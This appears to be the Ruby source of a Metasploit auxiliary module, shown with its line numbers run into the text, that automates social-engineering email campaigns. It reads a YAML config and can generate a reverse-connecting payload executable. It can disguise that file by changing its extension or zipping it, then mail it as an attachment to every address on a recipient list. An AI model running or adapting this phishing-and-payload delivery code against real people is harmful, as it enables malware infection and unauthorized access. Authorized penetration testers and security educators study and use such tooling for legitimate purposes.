Path: blob/master/modules/auxiliary/client/smtp/emailer.rb
19719 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'yaml'67class MetasploitModule < Msf::Auxiliary89#10# This module sends email messages via smtp11#12include Msf::Exploit::Remote::SMTPDeliver13include Msf::Exploit::EXE1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Generic Emailer (SMTP)',20'Description' => %q{21This module can be used to automate email delivery.22This code is based on Joshua Abraham's email script for social23engineering.24},25'License' => MSF_LICENSE,26'References' => [27[ 'URL', 'http://spl0it.org/' ],28],29'Author' => [ 'et <et[at]metasploit.com>' ],30'Notes' => {31'Stability' => [CRASH_SAFE],32'SideEffects' => [],33'Reliability' => []34}35)36)3738register_options(39[40OptString.new('RHOST', [true, 'SMTP server address', '127.0.0.1']),41OptPort.new('RPORT', [true, 'SMTP server port', 25]),42OptString.new('YAML_CONFIG', [43true, 'Full path to YAML Configuration file',44File.join(Msf::Config.data_directory, 'emailer_config.yaml')45]),46]47)4849# Hide this option from the user50deregister_options('MAILTO')51deregister_options('SUBJECT')52end5354def load_yaml_conf55opts = {}5657File.open(datastore['YAML_CONFIG'], 'rb') do |f|58yamlconf = YAML.safe_load(f)5960opts['to'] = yamlconf['to']61opts['from'] = yamlconf['from']62opts['subject'] = yamlconf['subject']63opts['type'] = yamlconf['type']64opts['msg_file'] = yamlconf['msg_file']65opts['wait'] = yamlconf['wait']66opts['add_name'] = yamlconf['add_name']67opts['sig'] = yamlconf['sig']68opts['sig_file'] = yamlconf['sig_file']69opts['attachment'] = yamlconf['attachment']70opts['attachment_file'] = yamlconf['attachment_file']71opts['attachment_file_type'] = yamlconf['attachment_file_type']72opts['attachment_file_name'] = yamlconf['attachment_file_name']7374### payload options ###75opts['make_payload'] = yamlconf['make_payload']76opts['zip_payload'] = yamlconf['zip_payload']77opts['msf_port'] = yamlconf['msf_port']78opts['msf_ip'] = yamlconf['msf_ip']79opts['msf_payload'] = yamlconf['msf_payload']80opts['msf_filename'] = yamlconf['msf_filename']81opts['msf_change_ext'] = yamlconf['msf_change_ext']82opts['msf_payload_ext'] = yamlconf['msf_payload_ext']83end8485opts86end8788def load_file(fname)89buf = ''90File.open(fname, 'rb') do |f|91buf = f.read92end9394buf95end9697def run98yamlconf = load_yaml_conf99100fileto = yamlconf['to']101from = yamlconf['from']102subject = yamlconf['subject']103type = yamlconf['type']104msg_file = yamlconf['msg_file']105wait = yamlconf['wait']106add_name = yamlconf['add_name']107sig = yamlconf['sig']108sig_file = yamlconf['sig_file']109attachment = yamlconf['attachment']110attachment_file = yamlconf['attachment_file']111attachment_file_type = yamlconf['attachment_file_type']112attachment_file_name = yamlconf['attachment_file_name']113114make_payload = yamlconf['make_payload']115zip_payload = yamlconf['zip_payload']116msf_port = yamlconf['msf_port']117msf_ip = yamlconf['msf_ip']118msf_payload = yamlconf['msf_payload']119msf_filename = yamlconf['msf_filename']120msf_change_ext = yamlconf['msf_change_ext']121msf_payload_ext = yamlconf['msf_payload_ext']122123tmp = Dir.tmpdir124125datastore['MAILFROM'] = from126127msg = load_file(msg_file)128129if type !~ /text/i && type !~ %r{text/html}i130print_error("YAML config: #{type}")131end132133if make_payload134attachment_file = File.join(tmp, msf_filename)135attachment_file_name = msf_filename136137print_status('Creating payload...')138mod = framework.payloads.create(msf_payload)139if !mod140print_error("Failed to create payload, #{msf_payload}")141return142end143144# By not passing an explicit encoder, we're asking the145# framework to pick one for us. In general this is the best146# way to encode.147buf = mod.generate_simple(148'Format' => 'raw',149'Options' => { 'LHOST' => msf_ip, 'LPORT' => msf_port }150)151exe = generate_payload_exe({152code: buf,153arch: mod.arch,154platform: mod.platform155})156157print_status("Writing payload to #{attachment_file}")158File.open(attachment_file, 'wb') do |f|159f.write(exe)160end161162if msf_change_ext163msf_payload_newext = attachment_file164msf_payload_newext = msf_payload_newext.sub(/\.\w+$/, ".#{msf_payload_ext}")165File.rename(attachment_file, msf_payload_newext)166attachment_file = msf_payload_newext167end168169if zip_payload170zip_file = attachment_file.sub(/\.\w+$/, '.zip')171print_status("Zipping payload to #{zip_file}")172File.write(zip_file, Msf::Util::EXE.to_zip([fname: File.basename(attachment_file), data: exe]), mode: 'wb')173attachment_file = zip_file174attachment_file_type = 'application/zip'175else176attachment_file_type = 'application/exe'177end178179end180181File.open(fileto, 'rb').each do |l|182next if l !~ /@/183184nem = l.split(',')185name = nem[0].split(' ')186fname = name[0]187_lname = name[1]188email = nem[1].strip189190if add_name191email_msg_body = "#{fname},\n\n#{msg}"192else193email_msg_body = msg194end195196if sig197data_sig = load_file(sig_file)198email_msg_body = "#{email_msg_body}\n#{data_sig}"199end200201print_status("Emailing #{name[0]} #{name[1]} at #{email}")202203mime_msg = Rex::MIME::Message.new204mime_msg.mime_defaults205206mime_msg.from = from207mime_msg.to = email208datastore['MAILTO'] = email.strip209mime_msg.subject = subject210211mime_msg.add_part(Rex::Text.encode_base64(email_msg_body, "\r\n"), type, 'base64', 'inline')212213if attachment && attachment_file_name214data_attachment = load_file(attachment_file)215mime_msg.add_part(Rex::Text.encode_base64(data_attachment, "\r\n"), attachment_file_type, 'base64', "attachment; filename=\"#{attachment_file_name}\"")216end217218send_message(mime_msg.to_s)219select(nil, nil, nil, wait)220end221222print_status('Email sent..')223end224end225226227